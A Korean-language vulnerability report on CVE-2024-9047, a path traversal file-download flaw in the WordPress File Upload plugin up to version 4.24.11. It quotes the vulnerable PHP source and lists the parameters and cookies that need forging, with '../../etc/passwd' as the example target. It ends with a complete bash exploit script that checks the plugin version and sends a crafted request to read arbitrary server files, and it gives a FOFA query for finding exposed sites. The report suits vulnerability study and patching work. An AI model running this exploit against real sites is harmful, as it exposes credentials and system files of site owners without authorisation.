[CVE-2024-9047] 취약점 분석 보고서
Wordpress file upload plugin 4.24.11 버전 이하에서 발생하는 file download 취약점
개요
Wordpress file upload plugin은 wfu_file_downloader.php 파일에서 부적절한 입력 검증으로 인해 파일 다운로드 취약점이 발생합니다.
environment
plugin: WordPress File Upload
https://ko.wordpress.org/plugins/wp-file-upload/advanced/
version: <= 4.24.11
분석
wfu_file_downloader.php 파일의 wfu_download_file() 함수에서 임의 파일을 읽어서 출력하는 취약점이 존재합니다.
파일 경로 변수 $filepath를 77~80행에서 검사합니다.
die()함수가 존재하므로 if 조건은 거짓이 되어야합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function wfu_file_exists_for_downloader($filepath) {
if ( substr($filepath, 0, 7) != "sftp://" ) return file_exists($filepath);
$ret = false;
$ftpinfo = wfu_decode_ftpurl($filepath);
if ( $ftpinfo["error"] ) return $ret;
$data = $ftpinfo["data"];
{
$conn = @ssh2_connect($data["ftpdomain"], $data["port"]);
if ( $conn && @ssh2_auth_password($conn, $data["username"], $data["password"]) ) {
$sftp = @ssh2_sftp($conn);
$ret = ( $sftp && @file_exists("ssh2.sftp://".intval($sftp).$data["filepath"]) );
}
}
return $ret;
}
wfu_file_exists_for_downloader 함수에서는 단지 filepath가 존재하는지 확인합니다.
취약점은 wfu_download_file()에서 발생합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function wfu_download_file() {
global $wfu_user_state_handler;
$file_code = (isset($_POST['file']) ? $_POST['file'] : (isset($_GET['file']) ? $_GET['file'] : ''));
$ticket = (isset($_POST['ticket']) ? $_POST['ticket'] : (isset($_GET['ticket']) ? $_GET['ticket'] : ''));
if ( $file_code == '' || $ticket == '' ) die();
wfu_initialize_user_state();
$ticket = wfu_sanitize_code($ticket);
$file_code = wfu_sanitize_code($file_code);
//if download ticket does not exist or is expired die
if ( !WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket) || time() > WFU_USVAR_downloader('wfu_download_ticket_'.$ticket) ) {
WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket);
WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);
wfu_update_download_status($ticket, 'failed');
die();
}
file_code와 $ticket은 GET 또는 POST 방식으로 지정될 수 있습니다. 프로그램을 시작할 때 die() 오류가 발생하는 것을 방지하려면 쿠키에 ‘wfu_download_ticket_$ticket이 존재해야하며, 이 값은 현재 타임스탬프보다 커야 합니다.
$file 파라미터를 통해 값을 받아오면 $file_code 변수에 저장되며, 이 값은 이후에 wfu_storage_$file_code 형태의 쿠키 이름과 결합되어 $filepath 변수를 결정하는데 사용됩니다.
example: file=abc123으로 설정하고, 쿠키에 wfu_storage_abc123=../../etc/passwd 값을 설정하면, $filepath=/etc/passwd를 가리키게 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if ( !defined("ABSWPFILEUPLOAD_DIR") ) DEFINE("ABSWPFILEUPLOAD_DIR", dirname(__FILE__).'/');
if ( !defined("WFU_AUTOLOADER_PHP50600") ) DEFINE("WFU_AUTOLOADER_PHP50600", 'vendor/modules/php5.6/autoload.php');
include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_functions.php' );
include_once( ABSWPFILEUPLOAD_DIR.'lib/wfu_security.php' );
$handler = (isset($_POST['handler']) ? $_POST['handler'] : (isset($_GET['handler']) ? $_GET['handler'] : '-1'));
$session_legacy = (isset($_POST['session_legacy']) ? $_POST['session_legacy'] : (isset($_GET['session_legacy']) ? $_GET['session_legacy'] : ''));
$dboption_base = (isset($_POST['dboption_base']) ? $_POST['dboption_base'] : (isset($_GET['dboption_base']) ? $_GET['dboption_base'] : '-1'));
$dboption_useold = (isset($_POST['dboption_useold']) ? $_POST['dboption_useold'] : (isset($_GET['dboption_useold']) ? $_GET['dboption_useold'] : ''));
$wfu_cookie = (isset($_POST['wfu_cookie']) ? $_POST['wfu_cookie'] : (isset($_GET['wfu_cookie']) ? $_GET['wfu_cookie'] : ''));
if ( $handler == '-1' || $session_legacy == '' || $dboption_base == '-1' || $dboption_useold == '' || $wfu_cookie == '' ) die();
else {
$GLOBALS["wfu_user_state_handler"] = wfu_sanitize_code($handler);
$GLOBALS["WFU_GLOBALS"]["WFU_US_SESSION_LEGACY"] = array( "", "", "", ( $session_legacy == '1' ? 'true' : 'false' ), "", true );
$GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_BASE"] = array( "", "", "", wfu_sanitize_code($dboption_base), "", true );
$GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_USEOLD"] = array( "", "", "", ( $dboption_useold == '1' ? 'true' : 'false' ), "", true );
if ( !defined("WPFILEUPLOAD_COOKIE") ) DEFINE("WPFILEUPLOAD_COOKIE", wfu_sanitize_tag($wfu_cookie));
wfu_download_file();
}
$handler, $session_legacy, $dboption_base, $dboption_useold, $wfu_cookie는 GET or POST를 통해 전달될 수 있습니다.
wfu_fopen_for_downloader()
wfu_fopen_for_downloader 함수에서 $filepath 변수를 전달해 파일 바이트를 읽어옵니다.
그리고 파일 끝애 도달하면 ;echo $buffer을 통해 파일 내용을 출력합니다.
- GET/POST 전달
- 핸들러 = “dboption”, 고정값
- session_legacy = 1, 임의값
- dboption_base = “쿠키”, 고정값
- dboption_useold = 1, 임의값
- wfu_cookie = abccc, 쿠키 값과 일치
- file=abc123, 쿠키 값과 일치
- ticket=bcd234, 쿠키 값과 일치
- 쿠키 배달
- wfu_download_ticket_bcd234 = 타임스탬프
- wfu_storage_abc123=파일명, 경로 탐색이 가능
- wfu_ABSPATH=디렉토리
요약
GET/POST 매개변수를 통해 $file_code를 제어한 다음, Cookie를 제어하고 $filepath에 값을 할당한 다음 마지막으로 $filepath의 내용을 출력할 수 있습니다. die() 또는 버그를 방지하기 위해 프로세스 중에 몇 가지 조건을 충족해야 합니다.
Finding Targets
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/bin/bash
# CVE-2024-9047 WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
# FOFA body="wp-content/plugins/wp-file-upload" && body="wordpress-file-upload-style-css"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# BuyMeACoffee https://buymeacoffee.com/verylazytech
# https://verylazytech.com
# https://x.com/verylazytech
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ _ _ ___ ___ _ _ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | / _ \ / _ \| || |___ |
| | \ \ / /| _| __) | | | |__) | || |_ | (_) | | | | || |_ / /
| |___ \ V / | |___ / __/| |_| / __/|__ _| \__, | |_| |__ _/ /
\____| \_/ |_____| |_____|\___/_____| |_| /_/ \___/ |_|/_/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
@VeryLazyTech - Medium
EOF
}
# Call the banner function
banner
# Colors
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
BLUE="\033[1;34m"
NC="\033[0m" # No Color
set -e
# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
printf "${RED}Usage: $0 <url> <command>${NC}\n"
exit 1
fi
# Variables
HOST=$1
PLUGIN_PATH="/wp-content/plugins/wp-file-upload/"
VERSION_FILE="release_notes.txt"
EXPLOIT_PATH="wfu_file_downloader.php"
FILE_CODE="pQ1DyzbQp5hBxQpW"
TICKET="Hw8h7dBmxROx27ZZ"
HANDLER="dboption"
SESSION_LEGACY="1"
DBOPTION_BASE="cookies"
DBOPTION_USEOLD="0"
COOKIE_VALUE="cfyMMnYQqNBbcBNMLTCDnE7ezEAdzLC3"
STORAGE_VALUE="/../../../../../$2"
TIMESTAMP=$(date +%s)
ABSPATH="/"
VULNERABLE_VERSION="4.24.11"
# Check plugin version
printf "${BLUE}Checking plugin version for ${HOST}...${NC}\n"
VERSION_URL="http://${HOST}${PLUGIN_PATH}${VERSION_FILE}"
VERSION=$(curl -s "${VERSION_URL}" | grep -oP 'Version\s+\K[0-9]+\.[0-9]+\.[0-9]+' | head -n 1)
if [[ -z "${VERSION}" ]]; then
printf "${YELLOW}Failed to retrieve plugin version. The site might not have the plugin installed.\n${NC}"
exit 1
fi
printf "Detected plugin version: ${VERSION}\n"
# Compare versions
if dpkg --compare-versions "${VERSION}" le "${VULNERABLE_VERSION}"; then
printf "${RED}Plugin version ${VERSION} is vulnerable. Proceeding with exploitation...\n${NC}"
else
printf "${YELLOw}Plugin version ${VERSION} is not vulnerable. Exiting.\n${NC}"
exit 0
fi
# Exploitation
printf "${BLUE}Attempting to exploit the vulnerability...${NC}\n"
EXPLOIT_URL="http://${HOST}${PLUGIN_PATH}${EXPLOIT_PATH}?file=${FILE_CODE}&ticket=${TICKET}&handler=${HANDLER}&session_legacy=${SESSION_LEGACY}&dboption_base=${DBOPTION_BASE}&dboption_useold=${DBOPTION_USEOLD}&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce"
curl -X GET "${EXPLOIT_URL}" \
-H "Host: ${HOST}" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept-Language: zh-CN,zh;q=0.9" \
-H "Connection: close" \
-H "Cookie: wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce=${COOKIE_VALUE}; wfu_storage_${FILE_CODE}=${STORAGE_VALUE}; wfu_download_ticket_${TICKET}=${TIMESTAMP}; wfu_ABSPATH=${ABSPATH};"